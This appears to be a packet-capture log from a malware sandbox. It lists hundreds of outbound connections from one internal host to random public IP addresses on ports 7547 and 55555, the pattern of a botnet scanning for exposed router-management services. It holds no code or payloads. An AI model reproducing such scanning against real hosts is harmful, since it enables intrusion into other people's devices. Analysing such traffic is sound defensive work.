Mar 21, 2024 05:16:56.503029108 CET	39762	7547	192.168.2.13	149.65.225.177
Mar 21, 2024 05:16:56.503030062 CET	44370	55555	192.168.2.13	98.148.63.92
Mar 21, 2024 05:16:56.503030062 CET	44370	55555	192.168.2.13	172.20.231.126
Mar 21, 2024 05:16:56.503030062 CET	39762	7547	192.168.2.13	139.97.247.19
Mar 21, 2024 05:16:56.503030062 CET	44370	55555	192.168.2.13	184.115.132.228
Mar 21, 2024 05:16:56.503030062 CET	44370	55555	192.168.2.13	98.192.60.203
Mar 21, 2024 05:16:56.503030062 CET	39762	7547	192.168.2.13	145.214.223.175
Mar 21, 2024 05:16:56.503034115 CET	44370	55555	192.168.2.13	98.187.180.226
Mar 21, 2024 05:16:56.503034115 CET	44370	55555	192.168.2.13	184.39.25.197
Mar 21, 2024 05:16:56.503034115 CET	39762	7547	192.168.2.13	87.156.47.213
Mar 21, 2024 05:16:56.503034115 CET	44370	55555	192.168.2.13	184.176.172.55
Mar 21, 2024 05:16:56.503036022 CET	44370	55555	192.168.2.13	184.155.253.97
Mar 21, 2024 05:16:56.503036976 CET	39762	7547	192.168.2.13	82.127.150.126
Mar 21, 2024 05:16:56.503036976 CET	39762	7547	192.168.2.13	196.212.38.56
Mar 21, 2024 05:16:56.503036976 CET	44370	55555	192.168.2.13	98.106.184.57
Mar 21, 2024 05:16:56.503036976 CET	44370	55555	192.168.2.13	184.220.124.171
Mar 21, 2024 05:16:56.503036976 CET	39762	7547	192.168.2.13	201.118.84.92
Mar 21, 2024 05:16:56.503036976 CET	44370	55555	192.168.2.13	98.172.82.67
Mar 21, 2024 05:16:56.503036976 CET	44370	55555	192.168.2.13	184.11.78.138
Mar 21, 2024 05:16:56.503036976 CET	39762	7547	192.168.2.13	83.137.59.109
Mar 21, 2024 05:16:56.503036976 CET	39762	7547	192.168.2.13	98.244.173.219
Mar 21, 2024 05:16:56.503048897 CET	44370	55555	192.168.2.13	98.247.111.116
Mar 21, 2024 05:16:56.503048897 CET	44370	55555	192.168.2.13	172.7.70.107
Mar 21, 2024 05:16:56.503048897 CET	39762	7547	192.168.2.13	38.191.207.18
Mar 21, 2024 05:16:56.503048897 CET	39762	7547	192.168.2.13	93.110.143.111
Mar 21, 2024 05:16:56.503048897 CET	39762	7547	192.168.2.13	110.37.107.243
Mar 21, 2024 05:16:56.503051043 CET	39762	7547	192.168.2.13	201.226.192.179
Mar 21, 2024 05:16:56.503051043 CET	39762	7547	192.168.2.13	143.185.108.63
Mar 21, 2024 05:16:56.503051996 CET	39762	7547	192.168.2.13	100.48.161.214
Mar 21, 2024 05:16:56.503053904 CET	39762	7547	192.168.2.13	177.136.189.19
Mar 21, 2024 05:16:56.503053904 CET	39762	7547	192.168.2.13	129.53.28.27
Mar 21, 2024 05:16:56.503053904 CET	39762	7547	192.168.2.13	191.153.237.120
Mar 21, 2024 05:16:56.503061056 CET	39762	7547	192.168.2.13	12.179.173.129
Mar 21, 2024 05:16:56.503061056 CET	39762	7547	192.168.2.13	86.39.68.158
Mar 21, 2024 05:16:56.503065109 CET	39762	7547	192.168.2.13	54.204.2.27
Mar 21, 2024 05:16:56.503065109 CET	39762	7547	192.168.2.13	122.55.253.35
Mar 21, 2024 05:16:56.503065109 CET	39762	7547	192.168.2.13	116.4.47.66
Mar 21, 2024 05:16:56.503082991 CET	39762	7547	192.168.2.13	140.221.233.148
Mar 21, 2024 05:16:56.503082991 CET	44370	55555	192.168.2.13	172.87.255.231
Mar 21, 2024 05:16:56.503082991 CET	44370	55555	192.168.2.13	172.91.64.8
Mar 21, 2024 05:16:56.503082991 CET	39762	7547	192.168.2.13	85.121.168.99
Mar 21, 2024 05:16:56.503082991 CET	44370	55555	192.168.2.13	98.200.124.196
Mar 21, 2024 05:16:56.503082991 CET	44370	55555	192.168.2.13	184.116.216.15
Mar 21, 2024 05:16:56.503084898 CET	39762	7547	192.168.2.13	138.218.254.63
Mar 21, 2024 05:16:56.503082991 CET	44370	55555	192.168.2.13	184.133.7.117
Mar 21, 2024 05:16:56.503084898 CET	39762	7547	192.168.2.13	131.101.58.79
Mar 21, 2024 05:16:56.503082991 CET	39762	7547	192.168.2.13	202.171.139.127
Mar 21, 2024 05:16:56.503084898 CET	39762	7547	192.168.2.13	92.37.99.145
Mar 21, 2024 05:16:56.503082991 CET	44370	55555	192.168.2.13	98.41.244.138
Mar 21, 2024 05:16:56.503086090 CET	44370	55555	192.168.2.13	184.158.205.38
Mar 21, 2024 05:16:56.503082991 CET	39762	7547	192.168.2.13	94.116.253.91
Mar 21, 2024 05:16:56.503086090 CET	44370	55555	192.168.2.13	172.245.19.223
Mar 21, 2024 05:16:56.503086090 CET	44370	55555	192.168.2.13	172.24.197.95
Mar 21, 2024 05:16:56.503089905 CET	39762	7547	192.168.2.13	179.244.99.27
Mar 21, 2024 05:16:56.503089905 CET	44370	55555	192.168.2.13	172.234.36.33
Mar 21, 2024 05:16:56.503091097 CET	39762	7547	192.168.2.13	117.215.197.164
Mar 21, 2024 05:16:56.503089905 CET	44370	55555	192.168.2.13	98.174.224.118
Mar 21, 2024 05:16:56.503091097 CET	39762	7547	192.168.2.13	146.8.89.146
Mar 21, 2024 05:16:56.503091097 CET	39762	7547	192.168.2.13	90.13.146.184
Mar 21, 2024 05:16:56.503093004 CET	44370	55555	192.168.2.13	172.85.3.24
Mar 21, 2024 05:16:56.503089905 CET	39762	7547	192.168.2.13	164.130.46.185
Mar 21, 2024 05:16:56.503091097 CET	39762	7547	192.168.2.13	218.91.193.85
Mar 21, 2024 05:16:56.503091097 CET	44370	55555	192.168.2.13	98.84.214.4
Mar 21, 2024 05:16:56.503091097 CET	44370	55555	192.168.2.13	98.203.177.176
Mar 21, 2024 05:16:56.503092051 CET	44370	55555	192.168.2.13	98.8.218.14
Mar 21, 2024 05:16:56.503092051 CET	39762	7547	192.168.2.13	120.253.10.161
Mar 21, 2024 05:16:56.503098011 CET	39762	7547	192.168.2.13	49.28.206.9
Mar 21, 2024 05:16:56.503098011 CET	39762	7547	192.168.2.13	58.20.242.222
Mar 21, 2024 05:16:56.503098011 CET	44370	55555	192.168.2.13	172.245.200.179
Mar 21, 2024 05:16:56.503098011 CET	39762	7547	192.168.2.13	137.114.183.60
Mar 21, 2024 05:16:56.503098965 CET	44370	55555	192.168.2.13	184.179.95.233
Mar 21, 2024 05:16:56.503098965 CET	39762	7547	192.168.2.13	123.130.68.202
Mar 21, 2024 05:16:56.503098965 CET	44370	55555	192.168.2.13	172.21.49.148
Mar 21, 2024 05:16:56.503098965 CET	39762	7547	192.168.2.13	162.225.227.170
Mar 21, 2024 05:16:56.503109932 CET	39762	7547	192.168.2.13	116.138.234.54
Mar 21, 2024 05:16:56.503123045 CET	44370	55555	192.168.2.13	184.10.233.249
Mar 21, 2024 05:16:56.503133059 CET	39762	7547	192.168.2.13	120.220.40.108
Mar 21, 2024 05:16:56.503134012 CET	44370	55555	192.168.2.13	172.230.2.237
Mar 21, 2024 05:16:56.503134012 CET	39762	7547	192.168.2.13	134.100.250.126
Mar 21, 2024 05:16:56.503134012 CET	44370	55555	192.168.2.13	184.1.107.189
Mar 21, 2024 05:16:56.503134012 CET	39762	7547	192.168.2.13	168.68.168.74
Mar 21, 2024 05:16:56.503134012 CET	44370	55555	192.168.2.13	98.206.103.10
Mar 21, 2024 05:16:56.503135920 CET	44370	55555	192.168.2.13	172.57.69.12
Mar 21, 2024 05:16:56.503135920 CET	44370	55555	192.168.2.13	184.80.49.59
Mar 21, 2024 05:16:56.503138065 CET	39762	7547	192.168.2.13	218.97.92.214
Mar 21, 2024 05:16:56.503143072 CET	39762	7547	192.168.2.13	213.200.69.91
Mar 21, 2024 05:16:56.503138065 CET	44370	55555	192.168.2.13	184.217.21.32
Mar 21, 2024 05:16:56.503145933 CET	39762	7547	192.168.2.13	52.101.148.89
Mar 21, 2024 05:16:56.503138065 CET	44370	55555	192.168.2.13	184.59.145.215
Mar 21, 2024 05:16:56.503143072 CET	39762	7547	192.168.2.13	186.37.143.116
Mar 21, 2024 05:16:56.503148079 CET	39762	7547	192.168.2.13	118.234.21.186
Mar 21, 2024 05:16:56.503145933 CET	39762	7547	192.168.2.13	68.223.70.212
Mar 21, 2024 05:16:56.503143072 CET	39762	7547	192.168.2.13	70.10.41.178
Mar 21, 2024 05:16:56.503138065 CET	44370	55555	192.168.2.13	184.148.244.223
Mar 21, 2024 05:16:56.503143072 CET	44370	55555	192.168.2.13	98.98.11.18
Mar 21, 2024 05:16:56.503143072 CET	39762	7547	192.168.2.13	106.192.111.240
Mar 21, 2024 05:16:56.503143072 CET	44370	55555	192.168.2.13	172.246.213.213
Mar 21, 2024 05:16:56.503160954 CET	44370	55555	192.168.2.13	184.121.172.78
Mar 21, 2024 05:16:56.503160954 CET	39762	7547	192.168.2.13	220.133.13.21
Mar 21, 2024 05:16:56.503160954 CET	39762	7547	192.168.2.13	68.19.159.36
Mar 21, 2024 05:16:56.503171921 CET	39762	7547	192.168.2.13	121.84.185.147
Mar 21, 2024 05:16:56.503173113 CET	39762	7547	192.168.2.13	139.122.192.12
Mar 21, 2024 05:16:56.503173113 CET	39762	7547	192.168.2.13	130.24.203.61
Mar 21, 2024 05:16:56.503173113 CET	39762	7547	192.168.2.13	86.173.149.50
Mar 21, 2024 05:16:56.503173113 CET	44370	55555	192.168.2.13	98.181.203.42
Mar 21, 2024 05:16:56.503186941 CET	44370	55555	192.168.2.13	184.219.89.239
Mar 21, 2024 05:16:56.503186941 CET	44370	55555	192.168.2.13	172.176.135.231
Mar 21, 2024 05:16:56.503186941 CET	39762	7547	192.168.2.13	129.16.25.113
Mar 21, 2024 05:16:56.503195047 CET	44370	55555	192.168.2.13	98.149.115.96
Mar 21, 2024 05:16:56.503196001 CET	44370	55555	192.168.2.13	184.8.45.146
Mar 21, 2024 05:16:56.503196001 CET	44370	55555	192.168.2.13	172.249.95.18
Mar 21, 2024 05:16:56.503196001 CET	39762	7547	192.168.2.13	141.17.83.52
Mar 21, 2024 05:16:56.503196001 CET	39762	7547	192.168.2.13	146.22.113.155
Mar 21, 2024 05:16:56.503196001 CET	39762	7547	192.168.2.13	4.206.124.199
Mar 21, 2024 05:16:56.503205061 CET	39762	7547	192.168.2.13	159.113.119.44
Mar 21, 2024 05:16:56.503205061 CET	39762	7547	192.168.2.13	114.43.140.123
Mar 21, 2024 05:16:56.503205061 CET	39762	7547	192.168.2.13	144.102.178.227
Mar 21, 2024 05:16:56.503205061 CET	44370	55555	192.168.2.13	172.169.169.0
Mar 21, 2024 05:16:56.503205061 CET	39762	7547	192.168.2.13	62.43.0.143
Mar 21, 2024 05:16:56.503211975 CET	39762	7547	192.168.2.13	86.167.212.176
Mar 21, 2024 05:16:56.503211975 CET	39762	7547	192.168.2.13	148.32.210.102
Mar 21, 2024 05:16:56.503211975 CET	39762	7547	192.168.2.13	160.42.136.136
Mar 21, 2024 05:16:56.503211975 CET	39762	7547	192.168.2.13	125.177.7.6
Mar 21, 2024 05:16:56.503212929 CET	39762	7547	192.168.2.13	85.163.45.90
Mar 21, 2024 05:16:56.503216982 CET	39762	7547	192.168.2.13	141.176.213.194
Mar 21, 2024 05:16:56.503216982 CET	39762	7547	192.168.2.13	201.110.235.34
Mar 21, 2024 05:16:56.503228903 CET	39762	7547	192.168.2.13	141.133.28.125
Mar 21, 2024 05:16:56.503228903 CET	44370	55555	192.168.2.13	184.136.185.165
Mar 21, 2024 05:16:56.503228903 CET	44370	55555	192.168.2.13	172.243.2.168
Mar 21, 2024 05:16:56.503228903 CET	39762	7547	192.168.2.13	153.131.11.151
Mar 21, 2024 05:16:56.503228903 CET	39762	7547	192.168.2.13	118.85.17.153
Mar 21, 2024 05:16:56.503228903 CET	39762	7547	192.168.2.13	47.112.220.149
Mar 21, 2024 05:16:56.503228903 CET	39762	7547	192.168.2.13	129.0.137.58
Mar 21, 2024 05:16:56.503241062 CET	39762	7547	192.168.2.13	49.238.80.81
Mar 21, 2024 05:16:56.503241062 CET	44370	55555	192.168.2.13	184.114.131.55
Mar 21, 2024 05:16:56.503242016 CET	39762	7547	192.168.2.13	130.202.141.104
Mar 21, 2024 05:16:56.503241062 CET	39762	7547	192.168.2.13	65.251.185.214
Mar 21, 2024 05:16:56.503242016 CET	39762	7547	192.168.2.13	71.97.88.205
Mar 21, 2024 05:16:56.503242016 CET	44370	55555	192.168.2.13	98.13.167.215
Mar 21, 2024 05:16:56.503242016 CET	39762	7547	192.168.2.13	86.164.160.175
Mar 21, 2024 05:16:56.503242016 CET	44370	55555	192.168.2.13	184.113.168.105
Mar 21, 2024 05:16:56.503249884 CET	44370	55555	192.168.2.13	184.139.75.20
Mar 21, 2024 05:16:56.503249884 CET	44370	55555	192.168.2.13	172.198.166.30
Mar 21, 2024 05:16:56.503249884 CET	39762	7547	192.168.2.13	99.183.159.246
Mar 21, 2024 05:16:56.503249884 CET	39762	7547	192.168.2.13	173.175.224.61
Mar 21, 2024 05:16:56.503251076 CET	39762	7547	192.168.2.13	205.165.191.149
Mar 21, 2024 05:16:56.503252029 CET	39762	7547	192.168.2.13	34.244.175.11
Mar 21, 2024 05:16:56.503257036 CET	39762	7547	192.168.2.13	18.91.39.125
Mar 21, 2024 05:16:56.503257990 CET	39762	7547	192.168.2.13	199.166.42.99
Mar 21, 2024 05:16:56.503257990 CET	44370	55555	192.168.2.13	172.203.231.60
Mar 21, 2024 05:16:56.503272057 CET	44370	55555	192.168.2.13	172.213.241.155
Mar 21, 2024 05:16:56.503272057 CET	39762	7547	192.168.2.13	19.209.171.182
Mar 21, 2024 05:16:56.503272057 CET	39762	7547	192.168.2.13	9.186.110.201
Mar 21, 2024 05:16:56.503278017 CET	44370	55555	192.168.2.13	184.183.75.230
Mar 21, 2024 05:16:56.503287077 CET	44370	55555	192.168.2.13	184.224.151.126
Mar 21, 2024 05:16:56.503287077 CET	44370	55555	192.168.2.13	98.29.134.99
Mar 21, 2024 05:16:56.503292084 CET	44370	55555	192.168.2.13	98.98.138.100
Mar 21, 2024 05:16:56.503292084 CET	44370	55555	192.168.2.13	98.84.169.172
Mar 21, 2024 05:16:56.503299952 CET	44370	55555	192.168.2.13	98.214.223.237
Mar 21, 2024 05:16:56.503299952 CET	44370	55555	192.168.2.13	172.229.248.131
Mar 21, 2024 05:16:56.503299952 CET	39762	7547	192.168.2.13	136.106.98.183
Mar 21, 2024 05:16:56.503308058 CET	44370	55555	192.168.2.13	172.54.43.143
Mar 21, 2024 05:16:56.503308058 CET	44370	55555	192.168.2.13	98.158.24.31
Mar 21, 2024 05:16:56.503308058 CET	39762	7547	192.168.2.13	177.112.135.71
Mar 21, 2024 05:16:56.503312111 CET	39762	7547	192.168.2.13	201.94.187.21
Mar 21, 2024 05:16:56.503312111 CET	44370	55555	192.168.2.13	184.15.85.175
Mar 21, 2024 05:16:56.503313065 CET	39762	7547	192.168.2.13	192.38.170.172
Mar 21, 2024 05:16:56.503314018 CET	44370	55555	192.168.2.13	184.147.147.14
Mar 21, 2024 05:16:56.503314018 CET	44370	55555	192.168.2.13	172.183.164.58
Mar 21, 2024 05:16:56.503315926 CET	39762	7547	192.168.2.13	160.118.135.129
Mar 21, 2024 05:16:56.503314018 CET	44370	55555	192.168.2.13	184.201.153.35
Mar 21, 2024 05:16:56.503315926 CET	39762	7547	192.168.2.13	159.126.236.94
Mar 21, 2024 05:16:56.503315926 CET	44370	55555	192.168.2.13	98.254.116.156
Mar 21, 2024 05:16:56.503319979 CET	44370	55555	192.168.2.13	172.45.121.174
Mar 21, 2024 05:16:56.503319979 CET	44370	55555	192.168.2.13	98.117.5.206
Mar 21, 2024 05:16:56.503319979 CET	39762	7547	192.168.2.13	82.158.98.174
Mar 21, 2024 05:16:56.503324986 CET	44370	55555	192.168.2.13	184.236.248.31
Mar 21, 2024 05:16:56.503324986 CET	44370	55555	192.168.2.13	98.205.195.33
Mar 21, 2024 05:16:56.503324986 CET	44370	55555	192.168.2.13	98.207.244.247
Mar 21, 2024 05:16:56.503324986 CET	44370	55555	192.168.2.13	184.0.20.147
Mar 21, 2024 05:16:56.503329039 CET	44370	55555	192.168.2.13	184.119.15.63
Mar 21, 2024 05:16:56.503329039 CET	44370	55555	192.168.2.13	172.115.68.192
Mar 21, 2024 05:16:56.503329039 CET	39762	7547	192.168.2.13	96.184.58.154
Mar 21, 2024 05:16:56.503338099 CET	39762	7547	192.168.2.13	94.197.220.191
Mar 21, 2024 05:16:56.503343105 CET	39762	7547	192.168.2.13	57.153.54.179
Mar 21, 2024 05:16:56.503360033 CET	39762	7547	192.168.2.13	50.107.18.145
Mar 21, 2024 05:16:56.503360033 CET	39762	7547	192.168.2.13	50.93.255.182
Mar 21, 2024 05:16:56.503360033 CET	44370	55555	192.168.2.13	184.30.74.179
Mar 21, 2024 05:16:56.503360033 CET	39762	7547	192.168.2.13	75.33.171.40
Mar 21, 2024 05:16:56.503360033 CET	44370	55555	192.168.2.13	172.163.126.250
Mar 21, 2024 05:16:56.503360033 CET	39762	7547	192.168.2.13	208.126.170.215
Mar 21, 2024 05:16:56.503360033 CET	39762	7547	192.168.2.13	185.157.112.153
Mar 21, 2024 05:16:56.503360033 CET	44370	55555	192.168.2.13	172.34.197.93
Mar 21, 2024 05:16:56.503362894 CET	39762	7547	192.168.2.13	203.241.2.216
Mar 21, 2024 05:16:56.503366947 CET	44370	55555	192.168.2.13	184.197.173.98
Mar 21, 2024 05:16:56.503366947 CET	39762	7547	192.168.2.13	1.27.228.143
Mar 21, 2024 05:16:56.503372908 CET	44370	55555	192.168.2.13	172.67.152.41
Mar 21, 2024 05:16:56.503372908 CET	39762	7547	192.168.2.13	177.94.214.99
Mar 21, 2024 05:16:56.503372908 CET	39762	7547	192.168.2.13	184.239.115.131
Mar 21, 2024 05:16:56.503372908 CET	44370	55555	192.168.2.13	184.84.93.220
Mar 21, 2024 05:16:56.503381968 CET	39762	7547	192.168.2.13	187.150.5.178
Mar 21, 2024 05:16:56.503381968 CET	44370	55555	192.168.2.13	184.165.93.206
Mar 21, 2024 05:16:56.503381968 CET	39762	7547	192.168.2.13	217.64.208.40
Mar 21, 2024 05:16:56.503381968 CET	39762	7547	192.168.2.13	113.185.150.21
Mar 21, 2024 05:16:56.503381968 CET	44370	55555	192.168.2.13	184.124.144.240
Mar 21, 2024 05:16:56.503385067 CET	39762	7547	192.168.2.13	207.159.188.42
Mar 21, 2024 05:16:56.503385067 CET	44370	55555	192.168.2.13	184.178.167.246
Mar 21, 2024 05:16:56.503386021 CET	44370	55555	192.168.2.13	98.35.135.121
Mar 21, 2024 05:16:56.503391027 CET	44370	55555	192.168.2.13	184.210.117.182
Mar 21, 2024 05:16:56.503392935 CET	44370	55555	192.168.2.13	172.126.24.180
Mar 21, 2024 05:16:56.503392935 CET	39762	7547	192.168.2.13	130.254.222.101
Mar 21, 2024 05:16:56.503392935 CET	39762	7547	192.168.2.13	112.155.68.124
Mar 21, 2024 05:16:56.503392935 CET	44370	55555	192.168.2.13	184.238.67.161
Mar 21, 2024 05:16:56.503392935 CET	44370	55555	192.168.2.13	172.215.84.67
Mar 21, 2024 05:16:56.503392935 CET	39762	7547	192.168.2.13	213.168.248.211
Mar 21, 2024 05:16:56.503405094 CET	39762	7547	192.168.2.13	79.65.226.253
Mar 21, 2024 05:16:56.503405094 CET	44370	55555	192.168.2.13	172.248.204.87
Mar 21, 2024 05:16:56.503405094 CET	39762	7547	192.168.2.13	43.21.222.173
Mar 21, 2024 05:16:56.503405094 CET	39762	7547	192.168.2.13	147.26.12.68
Mar 21, 2024 05:16:56.503405094 CET	39762	7547	192.168.2.13	167.7.189.194
Mar 21, 2024 05:16:56.503405094 CET	39762	7547	192.168.2.13	122.10.191.49
Mar 21, 2024 05:16:56.503405094 CET	39762	7547	192.168.2.13	112.113.255.28
Mar 21, 2024 05:16:56.503405094 CET	39762	7547	192.168.2.13	221.45.105.177
Mar 21, 2024 05:16:56.503412008 CET	39762	7547	192.168.2.13	67.104.205.250
Mar 21, 2024 05:16:56.503412008 CET	39762	7547	192.168.2.13	186.84.38.247
Mar 21, 2024 05:16:56.503413916 CET	39762	7547	192.168.2.13	86.22.51.208
Mar 21, 2024 05:16:56.503413916 CET	44370	55555	192.168.2.13	98.229.150.72
Mar 21, 2024 05:16:56.503421068 CET	44370	55555	192.168.2.13	172.170.244.254
Mar 21, 2024 05:16:56.503421068 CET	39762	7547	192.168.2.13	140.9.120.212
Mar 21, 2024 05:16:56.503421068 CET	44370	55555	192.168.2.13	98.239.117.190
Mar 21, 2024 05:16:56.503421068 CET	44370	55555	192.168.2.13	98.0.186.160
Mar 21, 2024 05:16:56.503421068 CET	44370	55555	192.168.2.13	98.180.105.135
Mar 21, 2024 05:16:56.503429890 CET	44370	55555	192.168.2.13	98.27.64.118
Mar 21, 2024 05:16:56.503431082 CET	44370	55555	192.168.2.13	172.70.137.140
Mar 21, 2024 05:16:56.503431082 CET	44370	55555	192.168.2.13	98.201.200.246
Mar 21, 2024 05:16:56.503431082 CET	39762	7547	192.168.2.13	80.110.39.238
Mar 21, 2024 05:16:56.503432035 CET	39762	7547	192.168.2.13	83.246.112.83
Mar 21, 2024 05:16:56.503431082 CET	44370	55555	192.168.2.13	184.122.104.213
Mar 21, 2024 05:16:56.503433943 CET	39762	7547	192.168.2.13	156.219.123.86
Mar 21, 2024 05:16:56.503432035 CET	44370	55555	192.168.2.13	172.172.14.7
Mar 21, 2024 05:16:56.503431082 CET	44370	55555	192.168.2.13	98.109.78.142
Mar 21, 2024 05:16:56.503432035 CET	39762	7547	192.168.2.13	187.79.61.181
Mar 21, 2024 05:16:56.503437042 CET	39762	7547	192.168.2.13	53.165.218.7
Mar 21, 2024 05:16:56.503433943 CET	39762	7547	192.168.2.13	134.165.195.5
Mar 21, 2024 05:16:56.503437042 CET	39762	7547	192.168.2.13	53.7.154.64
Mar 21, 2024 05:16:56.503432035 CET	39762	7547	192.168.2.13	154.184.84.93
Mar 21, 2024 05:16:56.503433943 CET	44370	55555	192.168.2.13	98.83.40.54
Mar 21, 2024 05:16:56.503437042 CET	39762	7547	192.168.2.13	212.103.203.128
Mar 21, 2024 05:16:56.503432035 CET	44370	55555	192.168.2.13	172.91.30.71
Mar 21, 2024 05:16:56.503437042 CET	44370	55555	192.168.2.13	172.233.224.151
Mar 21, 2024 05:16:56.503446102 CET	39762	7547	192.168.2.13	159.21.104.230
Mar 21, 2024 05:16:56.503446102 CET	44370	55555	192.168.2.13	172.4.177.193
Mar 21, 2024 05:16:56.503448963 CET	39762	7547	192.168.2.13	134.238.61.213
Mar 21, 2024 05:16:56.503448963 CET	44370	55555	192.168.2.13	184.184.143.104
Mar 21, 2024 05:16:56.503448963 CET	44370	55555	192.168.2.13	184.175.121.175
Mar 21, 2024 05:16:56.503448963 CET	44370	55555	192.168.2.13	172.93.188.91
Mar 21, 2024 05:16:56.503448963 CET	39762	7547	192.168.2.13	163.79.195.154
Mar 21, 2024 05:16:56.503453970 CET	39762	7547	192.168.2.13	101.29.201.14
Mar 21, 2024 05:16:56.503453970 CET	44370	55555	192.168.2.13	184.241.77.85
Mar 21, 2024 05:16:56.503453970 CET	44370	55555	192.168.2.13	184.128.213.241
Mar 21, 2024 05:16:56.503453970 CET	39762	7547	192.168.2.13	36.183.41.81
Mar 21, 2024 05:16:56.503453970 CET	44370	55555	192.168.2.13	172.111.103.8
Mar 21, 2024 05:16:56.503453970 CET	39762	7547	192.168.2.13	64.25.159.243
Mar 21, 2024 05:16:56.503458023 CET	39762	7547	192.168.2.13	195.19.74.152
Mar 21, 2024 05:16:56.503458023 CET	44370	55555	192.168.2.13	184.158.138.86
Mar 21, 2024 05:16:56.503458023 CET	44370	55555	192.168.2.13	184.245.242.199
Mar 21, 2024 05:16:56.503458023 CET	39762	7547	192.168.2.13	198.151.8.251
Mar 21, 2024 05:16:56.503458023 CET	39762	7547	192.168.2.13	86.214.103.22
Mar 21, 2024 05:16:56.503458023 CET	44370	55555	192.168.2.13	98.147.96.226
Mar 21, 2024 05:16:56.503470898 CET	39762	7547	192.168.2.13	146.11.194.156
Mar 21, 2024 05:16:56.503470898 CET	39762	7547	192.168.2.13	109.214.130.187
Mar 21, 2024 05:16:56.503470898 CET	44370	55555	192.168.2.13	184.165.67.143
Mar 21, 2024 05:16:56.503470898 CET	44370	55555	192.168.2.13	184.147.146.120
Mar 21, 2024 05:16:56.503470898 CET	39762	7547	192.168.2.13	152.186.18.106
Mar 21, 2024 05:16:56.503470898 CET	39762	7547	192.168.2.13	132.19.156.66
Mar 21, 2024 05:16:56.503477097 CET	39762	7547	192.168.2.13	42.253.27.155
Mar 21, 2024 05:16:56.503477097 CET	39762	7547	192.168.2.13	167.249.196.237
Mar 21, 2024 05:16:56.503477097 CET	44370	55555	192.168.2.13	98.53.143.233
Mar 21, 2024 05:16:56.503477097 CET	44370	55555	192.168.2.13	98.133.239.190
Mar 21, 2024 05:16:56.503477097 CET	39762	7547	192.168.2.13	164.53.252.65
Mar 21, 2024 05:16:56.503477097 CET	44370	55555	192.168.2.13	172.143.183.68
Mar 21, 2024 05:16:56.503493071 CET	39762	7547	192.168.2.13	206.179.97.76
Mar 21, 2024 05:16:56.503493071 CET	44370	55555	192.168.2.13	172.84.246.201
Mar 21, 2024 05:16:56.503493071 CET	44370	55555	192.168.2.13	172.1.113.33
Mar 21, 2024 05:16:56.503509045 CET	44370	55555	192.168.2.13	172.186.239.108
Mar 21, 2024 05:16:56.503509045 CET	44370	55555	192.168.2.13	172.120.48.29
Mar 21, 2024 05:16:56.503509045 CET	44370	55555	192.168.2.13	184.118.82.254
Mar 21, 2024 05:16:56.503509045 CET	44370	55555	192.168.2.13	184.236.200.176
Mar 21, 2024 05:16:56.503509045 CET	39762	7547	192.168.2.13	129.182.21.111
Mar 21, 2024 05:16:56.503509045 CET	44370	55555	192.168.2.13	172.186.30.115
Mar 21, 2024 05:16:56.503509045 CET	39762	7547	192.168.2.13	63.116.141.130
Mar 21, 2024 05:16:56.503509045 CET	44370	55555	192.168.2.13	184.59.244.233
Mar 21, 2024 05:16:56.503532887 CET	39762	7547	192.168.2.13	78.144.150.216
Mar 21, 2024 05:16:56.503532887 CET	39762	7547	192.168.2.13	86.196.212.228
Mar 21, 2024 05:16:56.503532887 CET	39762	7547	192.168.2.13	118.115.180.240
Mar 21, 2024 05:16:56.503546953 CET	39762	7547	192.168.2.13	81.26.124.224
Mar 21, 2024 05:16:56.503546953 CET	44370	55555	192.168.2.13	172.172.157.3
Mar 21, 2024 05:16:56.503546953 CET	44370	55555	192.168.2.13	172.118.147.19
Mar 21, 2024 05:16:56.503546953 CET	44370	55555	192.168.2.13	98.18.221.104
Mar 21, 2024 05:16:56.503546953 CET	44370	55555	192.168.2.13	172.99.62.239
Mar 21, 2024 05:16:56.503547907 CET	39762	7547	192.168.2.13	173.212.127.92
Mar 21, 2024 05:16:56.503547907 CET	39762	7547	192.168.2.13	42.210.170.39
Mar 21, 2024 05:16:56.503547907 CET	44370	55555	192.168.2.13	184.141.210.214
Mar 21, 2024 05:16:56.503547907 CET	39762	7547	192.168.2.13	8.205.247.205
Mar 21, 2024 05:16:56.503550053 CET	39762	7547	192.168.2.13	47.234.240.227
Mar 21, 2024 05:16:56.503547907 CET	39762	7547	192.168.2.13	117.27.161.236
Mar 21, 2024 05:16:56.503550053 CET	44370	55555	192.168.2.13	98.198.97.117
Mar 21, 2024 05:16:56.503547907 CET	44370	55555	192.168.2.13	184.76.171.87
Mar 21, 2024 05:16:56.503550053 CET	39762	7547	192.168.2.13	110.251.184.155
Mar 21, 2024 05:16:56.503547907 CET	44370	55555	192.168.2.13	172.70.116.15
Mar 21, 2024 05:16:56.503550053 CET	44370	55555	192.168.2.13	98.16.240.43
Mar 21, 2024 05:16:56.503550053 CET	39762	7547	192.168.2.13	97.129.92.139
Mar 21, 2024 05:16:56.503550053 CET	39762	7547	192.168.2.13	116.151.49.77
Mar 21, 2024 05:16:56.503565073 CET	39762	7547	192.168.2.13	185.208.211.204
Mar 21, 2024 05:16:56.503565073 CET	44370	55555	192.168.2.13	98.99.189.142
Mar 21, 2024 05:16:56.503565073 CET	44370	55555	192.168.2.13	98.92.106.174
Mar 21, 2024 05:16:56.503565073 CET	44370	55555	192.168.2.13	98.222.173.242
Mar 21, 2024 05:16:56.503566027 CET	39762	7547	192.168.2.13	51.55.228.2
Mar 21, 2024 05:16:56.503566027 CET	39762	7547	192.168.2.13	9.103.157.132
Mar 21, 2024 05:16:56.503565073 CET	39762	7547	192.168.2.13	42.60.122.53
Mar 21, 2024 05:16:56.503566027 CET	39762	7547	192.168.2.13	130.221.98.86
Mar 21, 2024 05:16:56.503565073 CET	44370	55555	192.168.2.13	172.67.118.220
Mar 21, 2024 05:16:56.503566027 CET	39762	7547	192.168.2.13	190.216.123.188
Mar 21, 2024 05:16:56.503566027 CET	39762	7547	192.168.2.13	58.167.98.240
Mar 21, 2024 05:16:56.503565073 CET	39762	7547	192.168.2.13	31.253.59.33
Mar 21, 2024 05:16:56.503566027 CET	39762	7547	192.168.2.13	177.31.69.72
Mar 21, 2024 05:16:56.503575087 CET	39762	7547	192.168.2.13	143.49.83.228
Mar 21, 2024 05:16:56.503575087 CET	44370	55555	192.168.2.13	172.98.95.89
Mar 21, 2024 05:16:56.503566027 CET	44370	55555	192.168.2.13	184.20.243.253
Mar 21, 2024 05:16:56.503575087 CET	44370	55555	192.168.2.13	172.150.153.99
Mar 21, 2024 05:16:56.503575087 CET	44370	55555	192.168.2.13	184.128.230.158
Mar 21, 2024 05:16:56.503566027 CET	39762	7547	192.168.2.13	82.24.125.202
Mar 21, 2024 05:16:56.503575087 CET	44370	55555	192.168.2.13	184.227.34.15
